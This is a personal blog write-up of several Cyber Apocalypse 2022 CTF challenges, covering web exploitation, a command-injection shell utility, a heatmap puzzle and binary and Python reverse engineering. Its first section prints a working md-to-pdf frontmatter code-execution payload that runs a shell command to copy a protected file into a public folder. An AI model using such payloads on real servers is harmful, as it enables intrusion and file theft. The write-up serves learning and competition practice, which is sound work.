After having a lot of fun with the Cyber Apocalypse 2021 CTF, I decided to take part in this year’s edition too (check the link for more info). Unfortunately though, it has been a pretty busy period for me, and out of 5 days I could only play on few evenings, so the number of challenges I managed to solve is quite low.
Here are the puzzles I solved:
This challenge was focused on a web portal that allowed to create, delete, and export invoices as PDFs.
The image above shows the textarea where invoices can be created using the Markdown format.
The downloadable part of the challenge showed that the flag was located in a flag.txt
file in the root folder of the challenge, which however was not accessible from outside. The only content being statically served was the /static/invoices/
path in which PDFs were generated by the md-to-pdf
NodeJS module.
I tried embedding some HTML in the markdown code to somehow include the flag while being generated, but with no success.
<p id='target'></p>
<script>
x = new XMLHttpRequest();
x.onload = function() {
document.getElementById('target').innerHTML = this.responseText;
};
x.open("GET","file:///flag.txt");
x.send();
</script>
After a while, I found the solution to be an RCE vulnerability concerning md-to-pdf
versions below 5.0, which was the case. Essentially, code can be injected in the frontmatter of an input file like so:
---js
((require("child_process")).execSync("cp ../flag.txt static/invoices/x.txt"))
---
Which lead to:
Connecting to the indicated socket returned a terminal interface to a utility that apparently allows to move across four directories and perform a number of predefined actions such as list, read, or compress files.
After playing around for a bit it became obvious that the vulnerability to discover had to do with some kind of command injection. After reading some other write-ups I realized there was a much shorter path to the solution than mine (piping user commands in the input), but here’s how I did it. Essentially, the detail in which I focused was the freedom in the <options>
part of the zip command, since the flag.txt
file was at the root and the cat
command was prefixed with ./
.
At this point, all I did was creating .zip
archive with the -0
flag to disable compression and only store the flag.txt
file. Being uncompressed, I could read the file contents just by invoking cat
on the archive.
This problem stated that a pattern was hidden among heat measurements of some concentric Dyson Spheres. I quickly inspected the provided file, a CSV list of integers:
$ head -n 4 heat_measurements.csv
"Sphere no.","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31","32","33","34","35","36","37","38","39","40","41","42","43","44","45","46","47","48","49","50","51","52","53","54","55","56","57","58","59","60","61","62","63","64","65","66","67","68","69","70","71","72","73","74","75","76","77","78","79","80","81","82","83","84","85","86","87","88","89","90","91","92","93","94","95","96","97","98","99","100","101","102","103","104","105","106","107","108","109","110","111","112","113","114","115","116","117","118","119","120","121","122","123","124","125","126","127","128","129","130","131","132","133","134","135","136","137","138","139","140","141","142","143","144","145","146","147","148","149","150","151","152","153","154","155","156","157","158","159","160","161","162"
"Sphere 1",28,88,70,21,64,25,20,26,25,24,61,24,22,22,63,60,79,23,20,83,64,22,69,67,27,64,80,72,23,80,28,73,89,86,30,60,84,23,26,62,81,23,75,66,26,74,67,24,23,29,67,70,28,26,66,77,67,71,76,76,80,72,20,20,72,81,30,87,65,21,62,77,29,26,87,73,28,24,30,61,84,70,27,26,70,78,26,79,84,86,20,63,62,68,78,68,84,87,20,80,86,28,71,60,86,22,62,27,83,63,64,22,82,60,30,22,86,62,26,79,89,20,82,64,20,26,26,65,69,28,29,65,67,60,65,84,82,88,29,82,85,25,87,83,21,28,86,64,61,86,25,69,60,26,23,29,29,27,82,24,25,78
"Sphere 2",27,73,71,22,88,72,87,27,84,61,74,27,74,89,26,80,71,21,75,71,26,26,69,88,20,28,78,27,27,83,20,27,73,29,24,65,20,87,79,24,74,25,22,89,26,75,23,63,64,65,63,22,72,86,21,88,63,61,70,78,67,27,90,87,28,64,29,30,86,26,69,26,64,63,28,60,26,89,82,28,70,22,84,66,72,89,25,61,73,60,30,64,63,63,82,70,74,21,30,60,70,29,23,67,20,24,73,22,29,83,30,23,64,21,71,84,24,75,29,26,77,28,78,30,72,63,72,67,29,90,90,27,77,73,88,80,61,88,21,88,61,30,87,26,65,78,26,79,89,28,30,90,62,60,74,24,66,82,64,82,24,86
"Sphere 3",21,28,28,30,61,64,76,25,66,83,62,23,29,24,77,90,28,89,70,85,73,22,88,63,22,64,23,79,22,83,30,81,25,62,28,82,83,80,23,89,67,20,69,21,21,74,90,24,23,86,89,74,63,27,74,80,84,84,76,70,74,61,78,30,61,89,21,78,26,27,69,61,79,21,60,61,22,25,22,82,87,22,67,25,24,72,78,23,21,20,79,64,70,63,63,61,67,90,20,82,69,30,68,26,76,22,60,28,69,23,76,21,74,66,87,27,62,72,24,61,22,23,68,67,26,28,82,88,67,89,24,66,90,86,71,72,64,69,23,22,24,27,70,70,69,22,65,80,23,75,30,65,74,77,61,22,67,88,71,86,69,28
I tried the first and simplest thing that came to my mind: plotting them as a matrix heatmap. Luckily, that was all it took to discover the flag:
import matplotlib.pyplot as plt
f = open('heat_measurements.csv').readlines()[1:]
mat = [list(map(int, line.strip().split(',')[1:])) for line in f]
plt.matshow(mat)
plt.show()
# HTB{1MM3NS3_3N3RGY_1MM3NS3_H34T}
The challenge folder contained two files: a main executable called wide
and a database file called db.ex
. Running the binary outputs:
$ ./wide db.ex
[*] Welcome user: kr4eq4L2$12xb, to the Widely Inflated Dimension Editor [*]
[*] Serving your pocket dimension storage needs since 14,012.5 B [*]
[*] Displaying Dimensions.... [*]
[*] Name | Code | Encrypted [*]
[X] Primus | people breathe variety practice | [*]
[X] Cheagaz | scene control river importance | [*]
[X] Byenoovia | fighting cast it parallel | [*]
[X] Cloteprea | facing motor unusual heavy | [*]
[X] Maraqa | stomach motion sale valuable | [*]
[X] Aidor | feathers stream sides gate | [*]
[X] Flaggle Alpha | admin secret power hidden | * [*]
Which dimension would you like to examine?
Responding to the prompt with the index of a dimension provides a short description, except for the last one (supposedly containing the flag) which required a passphrase:
Which dimension would you like to examine? 1
The Ice Dimension
Which dimension would you like to examine? 4
The Water Dimension
Which dimension would you like to examine? 6
[X] That entry is encrypted - please enter your WIDE decryption key:
Checking for ASCII strings in the binary or the database file is of no help, as one simply gived no useful information and the other is in fact encrypted. However, decompiling the binary yields an interesting piece of code:
// [...]
printf("[X] That entry is encrypted - please enter your WIDE decryption key:");
fgets(local_c8, 0x10, stdin);
mbstowcs(local_1c8, local_c8, 0x10);
iVar1 = wcscmp(local_1c8, L"sup3rs3cr3tw1d3");
if (iVar == 1) {
// [...]
}
// [...]
Essentially, the string was not visible because it is encoded as a Wide Character String and therefore has characters of size greater than 8 bits. Entering the passphrase yields the encrypted flag:
Which dimension would you like to examine? 6
[X] That entry is encrypted - please enter your WIDE decryption key: sup3rs3cr3tw1d3
HTB{str1ngs_4r3nt_4lw4ys_4sc11}
rebuilding
is a binary that, when called, checks if the provided argument matches a supposed password. Decompiling the file reveals this main function:
// [...]
local_14 = 0;
sVar1 = strlen(*(char **)(param_2 + 8));
if (sVar1 == 0x20) {
for (local_10 = 0; local_10 < 0x20; local_10 = local_10 + 1) {
printf("\rCalculating");
for (local_c = 0; local_c < 6; local_c = local_c + 1) {
if (local_c == local_10 % 6) {
__c = 0x2e;
} else {
__c = 0x20;
}
putchar(__c);
}
fflush(stdout);
local_14 = local_14 +
(uint)((byte)(encrypted[local_10] ^ key[local_10 % 6]) ==
*(byte *)((long)local_10 + *(long *)(param_2 + 8)));
usleep(200000);
}
puts("");
if (local_14 == 0x20) {
puts("The password is correct");
uVar2 = 0;
} else {
puts("The password is incorrect");
uVar2 = 0xffffffff;
}
} else {
puts("Password length is incorrect");
uVar2 = 0xffffffff;
}
return uVar2;
The first noticeable thing is that the password needs to be 32 characters long. Searching for the key
and encrypted
array declarations reveal their contents: the string “humans” for the former and a series of bytes for the latter.
00301041 68 75 6d ds "humans"
61 6e 73 00
; ...
00301020 29 undefined129h [0]
00301021 38 undefined138h [1]
00301022 2b undefined12Bh [2]
00301023 1e undefined11Eh [3]
00301024 06 undefined106h [4]
00301025 42 undefined142h [5]
00301026 05 undefined105h [6]
00301027 5d undefined15Dh [7]
00301028 07 undefined107h [8]
00301029 02 undefined102h [9]
0030102a 31 undefined131h [10]
0030102b 42 undefined142h [11]
0030102c 0f undefined10Fh [12]
0030102d 33 undefined133h [13]
0030102e 0a undefined10Ah [14]
0030102f 55 undefined155h [15]
00301030 00 undefined100h [16]
00301031 00 undefined100h [17]
00301032 15 undefined115h [18]
00301033 1e undefined11Eh [19]
00301034 1c undefined11Ch [20]
00301035 06 undefined106h [21]
00301036 1a undefined11Ah [22]
00301037 43 undefined143h [23]
00301038 13 undefined113h [24]
00301039 59 undefined159h [25]
0030103a 36 undefined136h [26]
0030103b 54 undefined154h [27]
0030103c 00 undefined100h [28]
0030103d 42 undefined142h [29]
0030103e 15 undefined115h [30]
0030103f 11 undefined111h [31]
00301040 00 undefined100h [32]
At this point it was only a matter of reversing the XOR operation between the two strings to recover the original password… Unfortunately though, the output was composed by a lot of non-printable characters and the password was not accepted anyway.
import binascii
asm = """
00301020 29 undefined129h [0]
; ...
00301040 00 undefined100h [32]
""".strip().split('\n')
key = "humans".encode('utf-8')
sol = []
encrypted = ''.join(l.split()[1] for l in asm)
encrypted = binascii.unhexlify(encrypted)
for i in range(len(encrypted)):
sol.append(encrypted[i]^key[i%6])
print(''.join(chr(x) for x in sol))
At this point I tried digging a bit deeper in the code and found out that the key
array was being overwritten in one of the initialization functions that set up the environment with the string “aliens” one character at a time (so that the strings
command would not detect it). Changing the key value in the script yielded the correct flag:
$ ./rebuilding HTB{h1d1ng_1n_c0nstruct0r5_1n1t}
Preparing secret keys
Calculating . . .
The password is correct
This challenge provides a .pyc
file, which is compiled Python 2.7 code and therefore not human readable. Launching it opens a window with an ASCII version of the Snake game, where eating the target sometimes reveals a letter, supposedly the characters of the final flag. Since playing it all the way through and remembering the letters was not feasible, I used Decompyle++ to reveal its original source:
# Source Generated with Decompyle++
# File: chall.pyc (Python 2.7)
import marshal
import types
import time
ll = types.FunctionType(marshal.loads('YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMB\nAIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBl\nc3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QK\nAAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAA\ncwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA\n'.decode('base64')), globals())
i0 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5JFiXkp+bkajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGAC+nBJh\n')
i1 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5LJpUXFqcUajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGADEORJ1\n')
f0 = ll('eJxLZmRgYABhJiB2BuJiXiBRw8CQxcCQwsjQzMgQrAGS8ssEEgwaIJUl7CAiMzc1v7QEIsAMJMoz\n8zTASkBEMUiJTXFJSmaeXQkHiJ2TmJuUkmgHVg5SAQBjWRD5\n')
f1 = ll('eJxLZmRgYIBhZyAu5gISNQwMWQwMzQwMwRogcT8wWcIKJNJTS5IzIFxmIFGemacBpBjARDE7kLAp\nLknJzLMr4QCxcxJzk1IS7cDKQSoAvuUPJw==\n')
f2 = ll('eJx1kL1uwkAQhOfOBsxPQZUmL+DOEnWUBghEQQbFIESVglUkY5ECX+lHoMz7Jrt7HCgSOWlGO/rm\n1tbtIwBBY1b9zdYYkEFlcRqiAQoWxaginDJhjcUBijNQy+O24jxgfzsHdTxOFB8DtoqPoK7HPcXn\ngCPFZ1BfcUGsdMA/lpc/fEqeUBq21Mp0L0rv/3grX/f5aELlbryVYzbXZnub7j42K5dcxslym7vu\nJby/zubrK1pMX9apPLOTraReqe9T3SlWd9ieakfl17OTb36OpFE/CDQDE5vHv7K/FKBNmA==\n')
f3 = ll('eJxVj00KAjEMhV+b8Q9040IZT9C9WxHEvRvBC1iFUhhk2sUIIwgexLWn1KQzI9qSl/DlhaZHDSDj\nII4tR3ix1IBVyK1GXitImt/0l1JDSSih1rAZfIZyI4x9BRIkeKA8SLeF1Dl9clIHG+c9OakdZ35O\nT/o+yiciZI2Hgvpt702Pt925Nx/HFZwSGbIYqaL87FS5aKSIgi5JbZR/F1WTrkZmk4QByypE64p1\nap6X4g8LaaoZ3zFGfzFVE/UBTuovhA==\n')
f4 = ll('eJw1zDsKgEAMBNCJilb2drZ7AEuxsbfxBOIHFFkWNqWdF3eyYJEXkgxZcwB/jazYkkdwUeAVCAcV\nW3F4MjTt7ISZyWVUS7KEsPtN7cW9e2ddLeKTIXk7gkSsSB91O/2g9uToLBELO0otH2W6Ez8=\n')
f5 = ll('eJxdjr0OwjAMhM9J+as6M7HTF0AsiKV7F54ACJUKVaiSjOnEi2MbISQGf4rtu3OuMwBSBVfDFQdG\nBhzwMAgNMsER1s58+wJ3Hlm4Ai/z33YGE+A1IrNljnBBtiLYT1ZSf2sr6lMt19u+ZPYQkGDJqA0j\nycfap7+lBT/C2bveJ/UkEQ7KqByTGMbPKNQSpojiPMTEzqNKup2aKlnShramopJW5g2ipyUM\n')
f6 = ll('eJxdjTEOglAQRB98iMbEKxhLbkBjaLSwsrHWBEUJCRKULTT5VFzc3W9nMS+zk93ZqwNS1UK1VQ17\nRQ0CVcQUsTvljO4vWjEmSIRP8A4PXn3MlHKOea4DlxyzWMsOjXUHK/bpVXb1TWy855kF2gN9SPo2\nDD9+At8Zdm4YZorNIFXTFTI335aPS1UWtie28QV3xx4p\n')
f7 = ll('eJxtjz8LwjAQxV/S1mrRxcnZKat/qyAuOrv0E4ilIJRS2hsUCg7OfmcvubZTIe/97nKPcHkEADpd\nWPWPjYCGj0Kj0fjIfHwVqiWIbzxbJ6SHEleQ1yf8ocQHFLSJqgKN+nTYVUUEGndNCiRG8UY3M7F7\nabb7TrAS7AVrQSw4CDaCreBo7CfJPvdy/nZeummZuyY3bHBWh2ynmtJncXaRLLaJem6HaqGiVlMV\n6Zn+Azn/L1k=\n')
f8 = ll('eJwljr0KAkEMhCf3o2hrIb7BlWIhFiKC1jYWViKHe+qKnHob0GKt7sVNcsV8ZDeTSc45gJ5oINqI\nwkkQgTvQAvRdgwmO0BK2xxl+uTUTxBwugUtxT8EZIiHKZ4o21dZE7FLRe4yD+nMLixlchvG+0KU7\nPxR6EVjhSVDoKazt86MqG6uasr5WrI3SucCNbJPEp685keIy576aqktThVs3r0kf48s8r4c9Ogaj\nL3SnIej8MrDz9aqLXJhPzwMNaURT4R/aUC0X\n')
a1 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWwNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALI0C1U=\n')
a2 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALBMC00=\n')
a3 = ll('eJw10EtLw0AUBeAzTWLqo74bML8gSyFdiotm40rEZF+kRyVtCGKmqzar/nHvHBDmfty5c+fBrB2A\niUVuUVkMG4MOnIARGIMJeAKm4BQ8Bc9UsfwcvABn/5VL8Aq81tINeAveKb/Hd47R4WDDTp5j7hEm\nR4fsoS4yu+7Vh1e8yEYu5V7WciffZCl/5UpW8l162cuF3Mq1fJSUY5uYhTZFRvfZF+EvfOCnU89X\ngdATGFLjafBs+2e1fJShY4jDomvcH1q4K9U=\n')
a4 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcRQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALCJC04=\n')
a5 = ll('eJxNzTELwjAQBeCXS4r6TzKJP6DUgruLq0s1S7BKIRkqJP/dd3Hp8D4ex3H3NAA6xjEXJo2kAHeH\nalAF1aI6FINg8BIsZxTZdM5lM2/95i2PXCNBPBCvzeubLOR4yvp2bX6bS3P+LyppR/qUQ/wMea99\nnt6PMA26l/SKxQ/XGxky\n')
a6 = ll('eJwlzLsKwkAQheF/L0afw2qr4AOENOnT2NpEgyDGENgtFHbfPTNrcT6G4cw8DHCQeMkgiWchw81T\nDMVSHMWTDdnytGTHu+Ea9G4MAkHPkxXaS9L1t/qrbtXlX1TiUehiml9rn046L9PnPk+99qJ+cewN\nxxM9\n')
a7 = ll('eJwlzLEKwjAQxvF/rhF9jk6Zig8gXdy7uLq0FqFYRUiGFpJ39y4O34/j+O4eDjhovOaqia2S4e4p\njiKUhuLJjiw8hex5Cbdgd0NQCHaeROnOydZbda9+q+u/aMSjcolpXj59Otm8ju9pHnvrRfvS8AMM\nqhM6\n')
a8 = ll('eJxLZmRgYABhJiB2BuJiPiBRw8CQwsgglsLEkM3EEKzBDBTyy2QFkplAzKABJkCaSkBEjgZcsJgd\nSNgUl6Rk5tmVcIDYOYm5SSmJdmDFIBUAVDAM/Q==\n')
a9 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcQQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBAK+VC0o=\n')
m0 = ll('eJw1jTELwjAUhC9Jq/0VzhldBAfr4u7i6mYpFFSKCXRJp/7x3rsi5L5Avnsvrx0AS8PcmNQSGSg8\nDsWjBJQKS42nxwzMQSog09b/gsrs9AGP6LjhHr3tMfSn7TpH+yebfYtJHGXH7eknTpGAkPbEJeVu\n+F5V/Bw1Wpl0B7cCYGsZOw==\n')
m1 = ll('eJw1zUEKAjEMBdCfdMQreIRuRwU3Mhv3bjzCDAOCitCAm7rqxU1+cZGX0v408wbAvy5e5eQYUAUm\nqAnNHdASvsJLhSVUBpryoPG6Km5ZfPaah/hBnXXf29jbsbdDjl0W2Tdd6IN+6JwdkLJ1zsWW+2vi\n/HOMRIklkJ38AF2QGOk=\n')
m2 = ll('eJxNjj8LAjEMxV96fz+Fk0NHdT5c3F1cD5c7BEHlsAWXdrov7kuKICS/0LyXpFMP4JcnZrgSEUgM\nQXJIDVKLtcHokAWZKvsVUm0eGjr1rC3GCplBW/03Xpy2hM5bj4sXnjh7p4cUz30pO6+fiKouxtn6\ny8MehcH4MU7GtydgCB0xhDjfX8ey8mAzrYqyka18AW5IIKw=\n')
def snake(w):
r = i0()
c = i1()
f0(w)
d = (0, 1)
p = [
(5, 5)]
pl = 1
s = 0
l = None
while None:
(p, d, pl, l, s, w, c, r) = m2(p, d, pl, l, s, w, c, r)
i1().wrapper(snake)
Essentially, the first instruction after the imports loads into ll
a function that dynamically marshals code into the executable by deserializing the provided base-64 strings. After a bit of analysis I found out that r
and c
are the random
and curses
modules respectively, f0(w)
instantiates a Curses window, d
and p
are the direction and the covered cells of the snake, and m2
is basically the “step” function of the game which reads the arrow keys and updates the game grid.
To solve the challenge, I modified the script to automatically move the snake all across the map to progressively eat every target and reveal the entire flag.
def snake(w):
r = random
c = curses
f0(w) # Curses window
direction = (1, 0) # (x, y), positive = right, down
cells = [(1, 1)] # snake, head = last
pl = 1 # snake len
s = 0 # "Ticks"
l = None # Target
W, H = 8, 8
while 1:
d_x, d_y = direction
p_x, p_y = cells[-1]
if (d_x == 1 and p_x == W) or (d_x == -1 and p_x == 1):
direction = (0, 1)
elif d_x == 0:
if p_x == 1:
direction = (1, 0)
elif p_x == W:
direction = (-1, 0)
cells = [cells[-1]]
(cells, direction, pl, l, s, w, c, r) = m2(cells, direction, pl, l, s, w, c, r)
sys.stdout.flush()
I launched the game and piped it to tee
so that I could both observe the status and save the output to a file to later be processed:
python2 chall-2.py | tee out.txt
Filtering the relevant chars from the output gives the flag:
HTB{SuP3r_S3CRt_Sn4k3c0d3}
Copyright 2018-2023, Alessandro Sartori